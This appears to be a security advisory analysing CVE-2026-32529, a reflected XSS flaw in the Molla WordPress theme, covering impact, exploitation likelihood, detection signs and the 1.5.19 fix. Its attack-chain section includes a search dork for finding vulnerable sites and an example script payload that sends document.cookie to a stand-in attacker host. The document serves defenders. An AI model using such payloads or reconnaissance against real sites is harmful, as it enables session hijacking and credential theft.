CVE-2026-32529: 
WordPress vulnerability analysis and mitigation

CVE-2026-32529 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Molla WordPress theme developed by don-themes. It affects all versions of the Molla theme prior to 1.5.19 and was discovered by Tran Nguyen Bao Khanh of VCI - VNPT Cyber Immunity, reported on January 29, 2026, and published on March 20–25, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the reflected type. Insufficient sanitization of user-supplied input allows an attacker to craft a malicious URL containing a JavaScript payload that, when visited by a victim, is reflected back and executed in the victim's browser within the context of the affected WordPress site. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must click a crafted link or visit a malicious page (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of any user who clicks a malicious link, potentially leading to session cookie theft, credential harvesting, redirection to phishing pages, or defacement of the site as seen by the victim. Because the scope is changed (S:C in the CVSS vector), the impact extends beyond the vulnerable component itself. Confidentiality, integrity, and availability are all assessed as low-impact individually, but the combined effect and potential for mass exploitation across WordPress sites make this a meaningful risk (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no known in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their traffic or popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Molla theme (versions < 1.5.19) via web crawlers, Wappalyzer, or search engine dorking (e.g., inurl:wp-content/themes/molla).
2. Identify vulnerable parameter: Locate the theme's page or endpoint that reflects unsanitized user input back in the HTTP response without proper encoding.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., an administrator) via phishing email, social engineering, or embedding in a forum/comment.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser context — enabling session hijacking, credential theft, or further malicious actions on the WordPress site (Patchstack).

• Network: HTTP requests to WordPress pages using the Molla theme containing URL-encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=) in query string parameters; unusual outbound requests from victim browsers to unknown external domains shortly after page load.
• Logs: WordPress or web server access logs showing GET requests with suspicious query parameters containing HTML/JavaScript injection strings targeting Molla theme endpoints; repeated requests from the same IP with varying XSS payloads (fuzzing behavior).
• Browser/Client-Side: Unexpected redirects or pop-ups experienced by users visiting the affected WordPress site; session cookies transmitted to external domains.

The primary remediation is to update the Molla WordPress theme to version 1.5.19 or later, which contains the fix for this vulnerability. Site owners who cannot immediately update should contact their hosting provider or web developer for assistance. Patchstack has also issued a virtual patching/mitigation rule for subscribers that blocks exploitation attempts until the theme is updated (Patchstack).